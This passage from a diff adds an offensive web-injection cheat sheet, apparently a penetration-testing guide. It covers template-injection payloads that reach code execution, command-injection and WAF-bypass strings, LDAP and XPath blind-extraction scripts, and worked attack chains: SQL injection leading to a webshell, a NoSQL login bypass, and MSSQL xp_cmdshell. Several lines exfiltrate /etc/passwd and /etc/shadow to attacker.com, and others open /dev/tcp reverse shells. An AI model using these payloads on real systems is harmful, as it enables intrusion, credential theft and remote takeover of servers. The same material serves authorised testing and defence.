|
+
{{''.__class__.__mro__[1].__subclasses__()}}
|
|
920
|
+
|
|
921
|
+
# Full RCE payload — walk MRO to find subprocess.Popen
|
|
922
|
+
# Step 1: Get string's MRO
|
|
923
|
+
{{''.__class__.__mro__}}
|
|
924
|
+
# Output: (<class 'str'>, <class 'object'>)
|
|
925
|
+
|
|
926
|
+
# Step 2: Get all subclasses of object
|
|
927
|
+
{{''.__class__.__mro__[1].__subclasses__()}}
|
|
928
|
+
# Find index of subprocess.Popen in the list (varies by Python version)
|
|
929
|
+
|
|
930
|
+
# Step 3: Execute command (adjust index to match subprocess.Popen position)
|
|
931
|
+
{{''.__class__.__mro__[1].__subclasses__()[SUBPROCESS_INDEX]('id',shell=True,stdout=-1).communicate()}}
|
|
932
|
+
|
|
933
|
+
# One-liner to find Popen index
|
|
934
|
+
{{''.__class__.__mro__[1].__subclasses__()|selectattr('__name__','equalto','Popen')|list|first}}
|
|
935
|
+
|
|
936
|
+
# Alternative using config and os
|
|
937
|
+
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
|
938
|
+
|
|
939
|
+
# Alternative using request.application
|
|
940
|
+
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
941
|
+
|
|
942
|
+
# Read files
|
|
943
|
+
{{''.__class__.__mro__[1].__subclasses__()[FILE_CLASS_INDEX]('/etc/passwd').read()}}
|
|
944
|
+
|
|
945
|
+
# Using cycler (common in CTF/real engagements)
|
|
946
|
+
{{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
947
|
+
|
|
948
|
+
# Using joiner
|
|
949
|
+
{{joiner.__init__.__globals__.os.popen('id').read()}}
|
|
950
|
+
|
|
951
|
+
# Using namespace (Jinja2 2.10+)
|
|
952
|
+
{{namespace.__init__.__globals__.os.popen('id').read()}}
|
|
953
|
+
|
|
954
|
+
# Lipsum (Flask/Jinja2 global)
|
|
955
|
+
{{lipsum.__globals__['os'].popen('id').read()}}
|
|
956
|
+
```
|
|
957
|
+
|
|
958
|
+
#### Jinja2 WAF Bypass Payloads
|
|
959
|
+
|
|
960
|
+
```python
|
|
961
|
+
# Bypass attribute access filters using attr() filter
|
|
962
|
+
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
|
963
|
+
|
|
964
|
+
# Bypass using string concatenation
|
|
965
|
+
{{'o'+'s'|attr('popen')('id')|attr('read')()}}
|
|
966
|
+
|
|
967
|
+
# Bypass __class__ filter with alternative
|
|
968
|
+
{{request['__cl'+'ass__']}}
|
|
969
|
+
{{request|attr('__class__')}}
|
|
970
|
+
|
|
971
|
+
# Bypass using dict access
|
|
972
|
+
{{''['\x5f\x5fclass\x5f\x5f']}}
|
|
973
|
+
|
|
974
|
+
# Bypass with format strings
|
|
975
|
+
{{'{0}'.format(7*7)}}
|
|
976
|
+
|
|
977
|
+
# Bypass with |safe filter
|
|
978
|
+
{{'id'|safe}} # Not useful alone but chains with others
|
|
979
|
+
|
|
980
|
+
# Filter bypass using request object
|
|
981
|
+
{{request.environ['REQUEST_METHOD']}}
|
|
982
|
+
{{request.environ.get('HTTP_USER_AGENT')}}
|
|
983
|
+
|
|
984
|
+
# Full sandbox escape for Jinja2 with filters active
|
|
985
|
+
{% for c in []['__class__']['__base__']['__subclasses__']() %}
|
|
986
|
+
{% if c.__name__ == 'catch_warnings' %}
|
|
987
|
+
{% for b in c()._module.__builtins__ %}
|
|
988
|
+
{% if b[0] == '__import__' %}
|
|
989
|
+
{{b[1]('os').system('id')}}
|
|
990
|
+
{% endif %}
|
|
991
|
+
{% endfor %}
|
|
992
|
+
{% endif %}
|
|
993
|
+
{% endfor %}
|
|
994
|
+
```
|
|
995
|
+
|
|
996
|
+
### Twig SSTI Exploitation
|
|
997
|
+
|
|
998
|
+
```php
|
|
999
|
+
# Read file
|
|
1000
|
+
{{'/etc/passwd'|file_get_contents}}
|
|
1001
|
+
|
|
1002
|
+
# Code execution via filter
|
|
1003
|
+
{{'id'|system}}
|
|
1004
|
+
{{['id']|map('system')|join}}
|
|
1005
|
+
|
|
1006
|
+
# Using _self for code execution
|
|
1007
|
+
{{_self.env.registerUndefinedFilterCallback("exec")}}
|
|
1008
|
+
{{_self.env.getFilter("id")}}
|
|
1009
|
+
|
|
1010
|
+
# Twig 1.x
|
|
1011
|
+
{{_self.env.enableDebug()}}
|
|
1012
|
+
{{_self.env.isDebug()}}
|
|
1013
|
+
|
|
1014
|
+
# Via extensions
|
|
1015
|
+
{{_self.env.getExtension('Symfony\Bridge\Twig\Extension\TranslationExtension').trans("id")}}
|
|
1016
|
+
```
|
|
1017
|
+
|
|
1018
|
+
### FreeMarker SSTI Exploitation
|
|
1019
|
+
|
|
1020
|
+
```
|
|
1021
|
+
# Basic RCE
|
|
1022
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
|
|
1023
|
+
${"freemarker.template.utility.Execute"?new()("id")}
|
|
1024
|
+
|
|
1025
|
+
# Read file
|
|
1026
|
+
${.data_model.get("password")}
|
|
1027
|
+
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
|
|
1028
|
+
<#assign br=ob("java.io.BufferedReader", ob("java.io.InputStreamReader", ob("java.io.FileInputStream", "/etc/passwd")))>
|
|
1029
|
+
<#list 0..1000 as _>
|
|
1030
|
+
<#assign line=br.readLine()!false>
|
|
1031
|
+
<#if line == false><#break></#if>
|
|
1032
|
+
${line}
|
|
1033
|
+
</#list>
|
|
1034
|
+
|
|
1035
|
+
# RCE via classloader
|
|
1036
|
+
${"".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
|
|
1037
|
+
```
|
|
1038
|
+
|
|
1039
|
+
---
|
|
1040
|
+
|
|
1041
|
+
## 6. Command Injection
|
|
1042
|
+
|
|
1043
|
+
### Detection Payloads
|
|
1044
|
+
|
|
1045
|
+
```bash
|
|
1046
|
+
# Time-based detection (safe, no output needed)
|
|
1047
|
+
; sleep 5
|
|
1048
|
+
| sleep 5
|
|
1049
|
+
& sleep 5
|
|
1050
|
+
&& sleep 5
|
|
1051
|
+
`sleep 5`
|
|
1052
|
+
$(sleep 5)
|
|
1053
|
+
;sleep${IFS}5
|
|
1054
|
+
%0asleep%205
|
|
1055
|
+
|
|
1056
|
+
# Output-based detection (look for result in response)
|
|
1057
|
+
; id
|
|
1058
|
+
| id
|
|
1059
|
+
& id
|
|
1060
|
+
&& id
|
|
1061
|
+
`id`
|
|
1062
|
+
$(id)
|
|
1063
|
+
; whoami
|
|
1064
|
+
| whoami
|
|
1065
|
+
|
|
1066
|
+
# Concatenation to bypass simple filters
|
|
1067
|
+
; sl''eep 5
|
|
1068
|
+
| sl`echo e`ep 5
|
|
1069
|
+
; ${IFS}id
|
|
1070
|
+
|
|
1071
|
+
# Windows command injection
|
|
1072
|
+
& whoami
|
|
1073
|
+
| whoami
|
|
1074
|
+
&& whoami
|
|
1075
|
+
; whoami
|
|
1076
|
+
`whoami`
|
|
1077
|
+
$(whoami)
|
|
1078
|
+
%0awhoami
|
|
1079
|
+
%0d%0awhoami
|
|
1080
|
+
cmd /c whoami
|
|
1081
|
+
powershell -c "whoami"
|
|
1082
|
+
```
|
|
1083
|
+
|
|
1084
|
+
### Blind Command Injection Exploitation
|
|
1085
|
+
|
|
1086
|
+
```bash
|
|
1087
|
+
# DNS-based OOB detection (use Burp Collaborator or interactsh)
|
|
1088
|
+
; nslookup COLLABORATOR_DOMAIN
|
|
1089
|
+
; curl http://COLLABORATOR_DOMAIN
|
|
1090
|
+
; wget http://COLLABORATOR_DOMAIN
|
|
1091
|
+
; ping -c 1 COLLABORATOR_DOMAIN
|
|
1092
|
+
|
|
1093
|
+
# Exfiltrate data via DNS
|
|
1094
|
+
; nslookup $(whoami).COLLABORATOR_DOMAIN
|
|
1095
|
+
; host $(cat /etc/passwd | head -1 | base64 | tr -d '\n').COLLABORATOR_DOMAIN
|
|
1096
|
+
|
|
1097
|
+
# Exfiltrate via HTTP
|
|
1098
|
+
; curl http://attacker.com/$(whoami)
|
|
1099
|
+
; curl -d "$(cat /etc/passwd)" http://attacker.com/exfil
|
|
1100
|
+
; wget -O- http://attacker.com/$(id | base64)
|
|
1101
|
+
|
|
1102
|
+
# Exfiltrate with data encoding to handle special chars
|
|
1103
|
+
; curl "http://attacker.com/?d=$(id | base64 -w 0)"
|
|
1104
|
+
; curl "http://attacker.com/?d=$(cat /etc/shadow | base64 -w 0 | tr '+/=' '-_.') "
|
|
1105
|
+
|
|
1106
|
+
# Establish reverse shell
|
|
1107
|
+
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
|
|
1108
|
+
; python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
|
1109
|
+
; /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
|
|
1110
|
+
```
|
|
1111
|
+
|
|
1112
|
+
### Command Injection Filter Bypass
|
|
1113
|
+
|
|
1114
|
+
```bash
|
|
1115
|
+
# Space bypass
|
|
1116
|
+
{cat,/etc/passwd} # IFS alternative
|
|
1117
|
+
cat${IFS}/etc/passwd # IFS variable
|
|
1118
|
+
cat$IFS/etc/passwd
|
|
1119
|
+
X=$'\x20';cat${X}/etc/passwd
|
|
1120
|
+
|
|
1121
|
+
# Slash bypass
|
|
1122
|
+
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
|
1123
|
+
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh
|
|
1124
|
+
|
|
1125
|
+
# Blacklist bypass (filtered keywords)
|
|
1126
|
+
c'a't /etc/passwd # Quote break
|
|
1127
|
+
c"a"t /etc/passwd
|
|
1128
|
+
ca\t /etc/passwd
|
|
1129
|
+
$(echo 'cat') /etc/passwd
|
|
1130
|
+
|
|
1131
|
+
# Using wildcards
|
|
1132
|
+
cat /et?/passwd
|
|
1133
|
+
cat /etc/pass?d
|
|
1134
|
+
cat /etc/p*
|
|
1135
|
+
|
|
1136
|
+
# Using hex/octal
|
|
1137
|
+
$(printf '\x63\x61\x74') /etc/passwd # cat via hex
|
|
1138
|
+
$(printf '\143\141\164') /etc/passwd # cat via octal
|
|
1139
|
+
|
|
1140
|
+
# Using environment variables
|
|
1141
|
+
$( < /etc/passwd) # Read without cat in bash
|
|
1142
|
+
${!ENV_WITH_ID_CMD} # Indirect variable
|
|
1143
|
+
|
|
1144
|
+
# Bypass via encoding in URL
|
|
1145
|
+
cat%20/etc/passwd # URL encode space
|
|
1146
|
+
cat%09/etc/passwd # Tab
|
|
1147
|
+
```
|
|
1148
|
+
|
|
1149
|
+
---
|
|
1150
|
+
|
|
1151
|
+
## 7. LDAP Injection
|
|
1152
|
+
|
|
1153
|
+
### Authentication Bypass
|
|
1154
|
+
|
|
1155
|
+
```
|
|
1156
|
+
# Original query: (&(uid=USER)(password=PASS))
|
|
1157
|
+
|
|
1158
|
+
# Inject into username field
|
|
1159
|
+
admin)(&(uid=*)(uid=* → (&(uid=admin)(&(uid=*)(uid=*)(password=x))
|
|
1160
|
+
*)(uid=*))(&(uid=* → (&(uid=*)(uid=*))(&(uid=*)(password=x))
|
|
1161
|
+
admin)(!(&(1=0 → (&(uid=admin)(!(&(1=0)(password=x))
|
|
1162
|
+
|
|
1163
|
+
# Universal bypass
|
|
1164
|
+
*
|
|
1165
|
+
*)(&
|
|
1166
|
+
*))%00
|
|
1167
|
+
admin)(&)
|
|
1168
|
+
|
|
1169
|
+
# Bypass password
|
|
1170
|
+
*)(&(uid=*
|
|
1171
|
+
*)(!(&(uid=admin
|
|
1172
|
+
```
|
|
1173
|
+
|
|
1174
|
+
### LDAP Data Exfiltration (Blind)
|
|
1175
|
+
|
|
1176
|
+
```python
|
|
1177
|
+
#!/usr/bin/env python3
|
|
1178
|
+
"""Blind LDAP injection enumeration."""
|
|
1179
|
+
import requests
|
|
1180
|
+
|
|
1181
|
+
TARGET = "https://target.com/search"
|
|
1182
|
+
TRUE_INDICATOR = "Results found"
|
|
1183
|
+
|
|
1184
|
+
def test_payload(payload):
|
|
1185
|
+
data = {"search": payload}
|
|
1186
|
+
r = requests.post(TARGET, data=data)
|
|
1187
|
+
return TRUE_INDICATOR in r.text
|
|
1188
|
+
|
|
1189
|
+
def enumerate_attrs():
|
|
1190
|
+
# Test if attribute exists
|
|
1191
|
+
attrs = ["mail", "cn", "uid", "sn", "password", "userPassword",
|
|
1192
|
+
"shadowPassword", "ntPassword", "lmPassword", "samaccountname"]
|
|
1193
|
+
for attr in attrs:
|
|
1194
|
+
payload = f"*)(objectClass=*)(|({attr}=*"
|
|
1195
|
+
if test_payload(payload):
|
|
1196
|
+
print(f"[+] Attribute exists: {attr}")
|
|
1197
|
+
|
|
1198
|
+
def extract_user_value(attr, charset="abcdefghijklmnopqrstuvwxyz0123456789@._-"):
|
|
1199
|
+
result = ""
|
|
1200
|
+
for _ in range(100):
|
|
1201
|
+
found = False
|
|
1202
|
+
for char in charset:
|
|
1203
|
+
payload = f"*)(objectClass=*)(|({attr}={result}{char}*"
|
|
1204
|
+
if test_payload(payload):
|
|
1205
|
+
result += char
|
|
1206
|
+
print(f"[+] {attr}: {result}")
|
|
1207
|
+
found = True
|
|
1208
|
+
break
|
|
1209
|
+
if not found:
|
|
1210
|
+
break
|
|
1211
|
+
return result
|
|
1212
|
+
|
|
1213
|
+
if __name__ == "__main__":
|
|
1214
|
+
enumerate_attrs()
|
|
1215
|
+
mail = extract_user_value("mail")
|
|
1216
|
+
print(f"[+] Found mail: {mail}")
|
|
1217
|
+
```
|
|
1218
|
+
|
|
1219
|
+
---
|
|
1220
|
+
|
|
1221
|
+
## 8. XPath Injection
|
|
1222
|
+
|
|
1223
|
+
### Authentication Bypass
|
|
1224
|
+
|
|
1225
|
+
```xml
|
|
1226
|
+
<!-- Original query: //user[username/text()='USER' and password/text()='PASS'] -->
|
|
1227
|
+
|
|
1228
|
+
<!-- Bypass with always-true -->
|
|
1229
|
+
' or '1'='1
|
|
1230
|
+
' or 1=1 or 'x'='y
|
|
1231
|
+
admin' or '1'='1
|
|
1232
|
+
|
|
1233
|
+
<!-- Comment injection (XPath has no comments, use string tricks) -->
|
|
1234
|
+
' or ''='
|
|
1235
|
+
'] | //user | //user['
|
|
1236
|
+
|
|
1237
|
+
<!-- Extract data via error messages -->
|
|
1238
|
+
' and count(//user)>0 and '1'='1 <!-- Boolean: users exist? -->
|
|
1239
|
+
' and string-length(//user[1]/password)>5 and '1'='1 <!-- Password length -->
|
|
1240
|
+
' and substring(//user[1]/password,1,1)='a' and '1'='1 <!-- Char extraction -->
|
|
1241
|
+
```
|
|
1242
|
+
|
|
1243
|
+
### Blind XPath Extraction Script
|
|
1244
|
+
|
|
1245
|
+
```python
|
|
1246
|
+
#!/usr/bin/env python3
|
|
1247
|
+
"""Blind XPath injection data extraction."""
|
|
1248
|
+
import requests
|
|
1249
|
+
import string
|
|
1250
|
+
|
|
1251
|
+
TARGET = "https://target.com/login"
|
|
1252
|
+
TRUE_INDICATOR = "Welcome"
|
|
1253
|
+
|
|
1254
|
+
def test(payload):
|
|
1255
|
+
data = {"username": payload, "password": "x"}
|
|
1256
|
+
r = requests.post(TARGET, data=data)
|
|
1257
|
+
return TRUE_INDICATOR in r.text
|
|
1258
|
+
|
|
1259
|
+
def extract_xpath(xpath_query, max_length=50):
|
|
1260
|
+
result = ""
|
|
1261
|
+
charset = string.ascii_letters + string.digits + "@._-!"
|
|
1262
|
+
for pos in range(1, max_length + 1):
|
|
1263
|
+
found = False
|
|
1264
|
+
for char in charset:
|
|
1265
|
+
payload = f"' and substring({xpath_query},{pos},1)='{char}' and '1'='1"
|
|
1266
|
+
if test(payload):
|
|
1267
|
+
result += char
|
|
1268
|
+
print(f"[+] Position {pos}: {char} → {result}")
|
|
1269
|
+
found = True
|
|
1270
|
+
break
|
|
1271
|
+
if not found:
|
|
1272
|
+
break
|
|
1273
|
+
return result
|
|
1274
|
+
|
|
1275
|
+
if __name__ == "__main__":
|
|
1276
|
+
# Extract first username
|
|
1277
|
+
username = extract_xpath("//user[1]/username")
|
|
1278
|
+
print(f"[+] Username: {username}")
|
|
1279
|
+
|
|
1280
|
+
# Extract first password
|
|
1281
|
+
password = extract_xpath("//user[1]/password")
|
|
1282
|
+
print(f"[+] Password: {password}")
|
|
1283
|
+
```
|
|
1284
|
+
|
|
1285
|
+
---
|
|
1286
|
+
|
|
1287
|
+
## 9. WAF Bypass Techniques
|
|
1288
|
+
|
|
1289
|
+
### General WAF Bypass Strategies
|
|
1290
|
+
|
|
1291
|
+
```
|
|
1292
|
+
1. Case variation: SELECT → SeLeCt, UNION → UnIoN
|
|
1293
|
+
2. Comment injection: SELECT/**/username → space replacement
|
|
1294
|
+
3. URL encoding: UNION → %55%4E%49%4F%4E
|
|
1295
|
+
4. Double encoding: %27 → %2527
|
|
1296
|
+
5. HTML entity (form): ' → '
|
|
1297
|
+
6. Unicode: SELECT → SEL...
|
|
1298
|
+
7. Null byte: ' → '%00'
|
|
1299
|
+
8. Multiline: SE\nLECT
|
|
1300
|
+
9. Tab instead of space: UNION\tSELECT
|
|
1301
|
+
10. Versioned comments: /*!50000SELECT*/
|
|
1302
|
+
```
|
|
1303
|
+
|
|
1304
|
+
### MySQL WAF Bypass Payloads
|
|
1305
|
+
|
|
1306
|
+
```sql
|
|
1307
|
+
-- Space bypass
|
|
1308
|
+
UNION/**/SELECT
|
|
1309
|
+
UNION%09SELECT -- Tab
|
|
1310
|
+
UNION%0ASELECT -- Newline
|
|
1311
|
+
UNION%0DSELECT -- CR
|
|
1312
|
+
UNION%0BSELECT -- Vertical tab
|
|
1313
|
+
UNION%0CSELECT -- Form feed
|
|
1314
|
+
UNION(SELECT)
|
|
1315
|
+
UNION(SELECT/**/1,2,3)
|
|
1316
|
+
|
|
1317
|
+
-- Comment variations
|
|
1318
|
+
/*!UNION*//*!SELECT*/
|
|
1319
|
+
/*!50000UNION*//*!50000SELECT*/
|
|
1320
|
+
UNI/**/ON SELECT
|
|
1321
|
+
|
|
1322
|
+
-- Keyword bypass
|
|
1323
|
+
SELect
|
|
1324
|
+
SelECT
|
|
1325
|
+
%53%45%4C%45%43%54 -- URL encoded SELECT
|
|
1326
|
+
|
|
1327
|
+
-- Quote bypass
|
|
1328
|
+
WHERE username=0x61646d696e -- Hex encoded 'admin'
|
|
1329
|
+
WHERE username=char(97,100,109,105,110)
|
|
1330
|
+
|
|
1331
|
+
-- UNION detection bypass
|
|
1332
|
+
UNION ALL SELECT
|
|
1333
|
+
UNION DISTINCT SELECT
|
|
1334
|
+
UNION SELECT -- Leading space
|
|
1335
|
+
|
|
1336
|
+
-- Function name bypass
|
|
1337
|
+
group_concat → GROUP_CONCAT → GrOuP_CoNcAt
|
|
1338
|
+
substring → SUBSTRING → MID → SUBSTR
|
|
1339
|
+
|
|
1340
|
+
-- Operator bypass
|
|
1341
|
+
= → LIKE, RLIKE, REGEXP
|
|
1342
|
+
AND → &&
|
|
1343
|
+
OR → ||
|
|
1344
|
+
NOT → !
|
|
1345
|
+
|
|
1346
|
+
-- WAF bypass with versioned MySQL comments
|
|
1347
|
+
SELECT /*!32302 1,2,3*/ FROM users
|
|
1348
|
+
```
|
|
1349
|
+
|
|
1350
|
+
### Encoding-Based Bypass
|
|
1351
|
+
|
|
1352
|
+
```python
|
|
1353
|
+
#!/usr/bin/env python3
|
|
1354
|
+
"""Generate WAF bypass encoded payloads."""
|
|
1355
|
+
import urllib.parse
|
|
1356
|
+
|
|
1357
|
+
def generate_bypasses(payload):
|
|
1358
|
+
print(f"[*] Original: {payload}\n")
|
|
1359
|
+
|
|
1360
|
+
# URL encode
|
|
1361
|
+
url_enc = urllib.parse.quote(payload)
|
|
1362
|
+
print(f"URL encoded: {url_enc}")
|
|
1363
|
+
|
|
1364
|
+
# Double URL encode
|
|
1365
|
+
double_url = urllib.parse.quote(url_enc)
|
|
1366
|
+
print(f"Double URL encoded: {double_url}")
|
|
1367
|
+
|
|
1368
|
+
# Hex encode for MySQL
|
|
1369
|
+
hex_payload = "0x" + payload.encode().hex()
|
|
1370
|
+
print(f"MySQL hex: {hex_payload}")
|
|
1371
|
+
|
|
1372
|
+
# Unicode encode
|
|
1373
|
+
unicode_enc = "".join(f"\\u{ord(c):04x}" for c in payload)
|
|
1374
|
+
print(f"Unicode: {unicode_enc}")
|
|
1375
|
+
|
|
1376
|
+
# HTML entity
|
|
1377
|
+
html_ent = "".join(f"&#{ord(c)};" for c in payload)
|
|
1378
|
+
print(f"HTML entities: {html_ent}")
|
|
1379
|
+
|
|
1380
|
+
# Case variation
|
|
1381
|
+
case_var = "".join(c.upper() if i % 2 == 0 else c.lower()
|
|
1382
|
+
for i, c in enumerate(payload))
|
|
1383
|
+
print(f"Case variation: {case_var}")
|
|
1384
|
+
|
|
1385
|
+
if __name__ == "__main__":
|
|
1386
|
+
generate_bypasses("UNION SELECT username,password FROM users")
|
|
1387
|
+
```
|
|
1388
|
+
|
|
1389
|
+
### HTTP-Level WAF Bypass
|
|
1390
|
+
|
|
1391
|
+
```bash
|
|
1392
|
+
# Chunked transfer encoding (bypass body inspection)
|
|
1393
|
+
curl -v "https://target.com/login" \
|
|
1394
|
+
-H "Transfer-Encoding: chunked" \
|
|
1395
|
+
--data-urlencode "username=admin'--+"
|
|
1396
|
+
|
|
1397
|
+
# Content-Type confusion
|
|
1398
|
+
curl -v "https://target.com/api" \
|
|
1399
|
+
-H "Content-Type: application/json;charset=ibm037" \
|
|
1400
|
+
-d '{"id": "1 UNION SELECT 1,2,3--"}'
|
|
1401
|
+
|
|
1402
|
+
# Parameter pollution
|
|
1403
|
+
https://target.com/item?id=1&id=2 UNION SELECT 1,2--+
|
|
1404
|
+
POST body: id=1&id=2 UNION SELECT 1,2--+
|
|
1405
|
+
|
|
1406
|
+
# HTTP method override
|
|
1407
|
+
POST /item?id=1 UNION SELECT 1,2--+ HTTP/1.1
|
|
1408
|
+
X-HTTP-Method-Override: GET
|
|
1409
|
+
|
|
1410
|
+
# Large header to push WAF buffer limit
|
|
1411
|
+
curl "https://target.com/item?id=1" \
|
|
1412
|
+
-H "X-Padding: $(python3 -c 'print("A"*8000)')" \
|
|
1413
|
+
-H "id: 1 UNION SELECT 1,2--+"
|
|
1414
|
+
|
|
1415
|
+
# JSON array to confuse parsers
|
|
1416
|
+
{"username": ["admin", "' OR '1'='1"]}
|
|
1417
|
+
|
|
1418
|
+
# Null byte termination
|
|
1419
|
+
?id=1%00' UNION SELECT 1,2--+
|
|
1420
|
+
|
|
1421
|
+
# Path variation
|
|
1422
|
+
/item/../item?id=1 UNION SELECT 1,2--+
|
|
1423
|
+
```
|
|
1424
|
+
|
|
1425
|
+
---
|
|
1426
|
+
|
|
1427
|
+
## 10. Real-World Engagement Examples
|
|
1428
|
+
|
|
1429
|
+
### Example 1: E-Commerce SQLi to Admin RCE (MySQL)
|
|
1430
|
+
|
|
1431
|
+
**Scenario:** Product search endpoint vulnerable to UNION-based SQLi. WAF in place (ModSecurity with CRS).
|
|
1432
|
+
|
|
1433
|
+
```bash
|
|
1434
|
+
# Step 1: Identify endpoint
|
|
1435
|
+
# GET /search?q=shoes returns product listings
|
|
1436
|
+
|
|
1437
|
+
# Step 2: Confirm injection
|
|
1438
|
+
curl "https://shop.target.com/search?q=shoes'"
|
|
1439
|
+
# Response: MySQL syntax error → confirmed
|
|
1440
|
+
|
|
1441
|
+
# Step 3: Determine column count
|
|
1442
|
+
curl "https://shop.target.com/search?q=shoes' ORDER BY 5--+"
|
|
1443
|
+
# 200 OK → at least 5 columns
|
|
1444
|
+
curl "https://shop.target.com/search?q=shoes' ORDER BY 6--+"
|
|
1445
|
+
# Error → exactly 5 columns
|
|
1446
|
+
|
|
1447
|
+
# Step 4: Find output column (try each position)
|
|
1448
|
+
curl "https://shop.target.com/search?q=shoes' UNION SELECT null,null,CONCAT(0x7e,database(),0x7e),null,null--+"
|
|
1449
|
+
# Response contains ~shopdb~ → column 3 is reflected
|
|
1450
|
+
|
|
1451
|
+
# Step 5: WAF bypass needed — spaces blocked
|
|
1452
|
+
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,CONCAT(0x7e,database(),0x7e),null,null--+"
|
|
1453
|
+
|
|
1454
|
+
# Step 6: Enumerate tables
|
|
1455
|
+
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,GROUP_CONCAT(table_name),null,null/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()--+"
|
|
1456
|
+
|
|
1457
|
+
# Step 7: Dump admin credentials
|
|
1458
|
+
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,CONCAT(username,0x3a,password),null,null/**/FROM/**/admin_users--+"
|
|
1459
|
+
|
|
1460
|
+
# Step 8: Read webshell location from config
|
|
1461
|
+
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,LOAD_FILE(0x2f6574632f617061636865322f73697465732d656e61626c65642f73686f702e636f6e66),null,null--+"
|
|
1462
|
+
# Decoded path: /etc/apache2/sites-enabled/shop.conf → found webroot /var/www/shop/public
|
|
1463
|
+
|
|
1464
|
+
# Step 9: Write webshell
|
|
1465
|
+
curl "https://shop.target.com/search?q=shoes'/**/UNION/**/SELECT/**/null,null,0x3c3f70687020737973.../**/INTO/**/OUTFILE/**/0x2f7661722f7777772f73686f702f7075626c69632f78782e706870--+"
|
|
1466
|
+
|
|
1467
|
+
# Step 10: Verify and execute
|
|
1468
|
+
curl "https://shop.target.com/xx.php?cmd=id"
|
|
1469
|
+
```
|
|
1470
|
+
|
|
1471
|
+
### Example 2: API JSON NoSQL Injection (MongoDB Auth Bypass)
|
|
1472
|
+
|
|
1473
|
+
**Scenario:** REST API `/api/v1/auth` accepts JSON with `username` and `password`. MongoDB backend.
|
|
1474
|
+
|
|
1475
|
+
```bash
|
|
1476
|
+
# Step 1: Normal request
|
|
1477
|
+
curl -X POST https://api.target.com/v1/auth \
|
|
1478
|
+
-H "Content-Type: application/json" \
|
|
1479
|
+
-d '{"username":"admin","password":"wrongpass"}'
|
|
1480
|
+
# Response: {"error":"Invalid credentials"}
|
|
1481
|
+
|
|
1482
|
+
# Step 2: NoSQL injection attempt
|
|
1483
|
+
curl -X POST https://api.target.com/v1/auth \
|
|
1484
|
+
-H "Content-Type: application/json" \
|
|
1485
|
+
-d '{"username":"admin","password":{"$ne":"invalid"}}'
|
|
1486
|
+
# Response: {"token":"eyJhbGc..."} → Auth bypass confirmed
|
|
1487
|
+
|
|
1488
|
+
# Step 3: Enumerate users
|
|
1489
|
+
curl -X POST https://api.target.com/v1/auth \
|
|
1490
|
+
-H "Content-Type: application/json" \
|
|
1491
|
+
-d '{"username":{"$regex":"^a"},"password":{"$ne":"x"}}'
|
|
1492
|
+
# Success → username starts with 'a'
|
|
1493
|
+
|
|
1494
|
+
# Step 4: Run automated extraction script (see Section 4)
|
|
1495
|
+
python3 nosql_extract.py
|
|
1496
|
+
```
|
|
1497
|
+
|
|
1498
|
+
### Example 3: SSTI to RCE via Flask/Jinja2
|
|
1499
|
+
|
|
1500
|
+
**Scenario:** User profile page renders `Hello, <username>!` and username is stored/reflected without sanitization.
|
|
1501
|
+
|
|
1502
|
+
```bash
|
|
1503
|
+
# Step 1: Probe for SSTI
|
|
1504
|
+
# Register with username: {{7*7}}
|
|
1505
|
+
# Profile page shows: Hello, 49! → SSTI confirmed (Jinja2)
|
|
1506
|
+
|
|
1507
|
+
# Step 2: Fingerprint
|
|
1508
|
+
# Register: {{config}}
|
|
1509
|
+
# Shows Flask config → Jinja2 on Flask confirmed
|
|
1510
|
+
|
|
1511
|
+
# Step 3: RCE via cycler global
|
|
1512
|
+
# Register: {{cycler.__init__.__globals__.os.popen('id').read()}}
|
|
1513
|
+
# Profile shows: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
1514
|
+
|
|
1515
|
+
# Step 4: Establish persistence
|
|
1516
|
+
# Register: {{cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"').read()}}
|
|
1517
|
+
# Listener: nc -lvnp 4444
|
|
1518
|
+
```
|
|
1519
|
+
|
|
1520
|
+
### Example 4: MSSQL Injection to Domain Compromise
|
|
1521
|
+
|
|
1522
|
+
**Scenario:** HR application with MSSQL backend. SQLi found in search field. MSSQL service running as domain service account.
|
|
1523
|
+
|
|
1524
|
+
```bash
|
|
1525
|
+
# Step 1: Confirm MSSQL injection
|
|
1526
|
+
sqlmap -r hr_search_req.txt --dbms=mssql --batch --dbs
|
|
1527
|
+
|
|
1528
|
+
# Step 2: Check current privileges
|
|
1529
|
+
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
|
|
1530
|
+
--sql-query="SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin')"
|
|
1531
|
+
# Output: SA_HRAPP | 1 → sysadmin!
|
|
1532
|
+
|
|
1533
|
+
# Step 3: Enable xp_cmdshell
|
|
1534
|
+
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
|
|
1535
|
+
--sql-query="EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE"
|
|
1536
|
+
|
|
1537
|
+
# Step 4: Execute whoami to confirm context
|
|
1538
|
+
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
|
|
1539
|
+
--os-cmd="whoami /all"
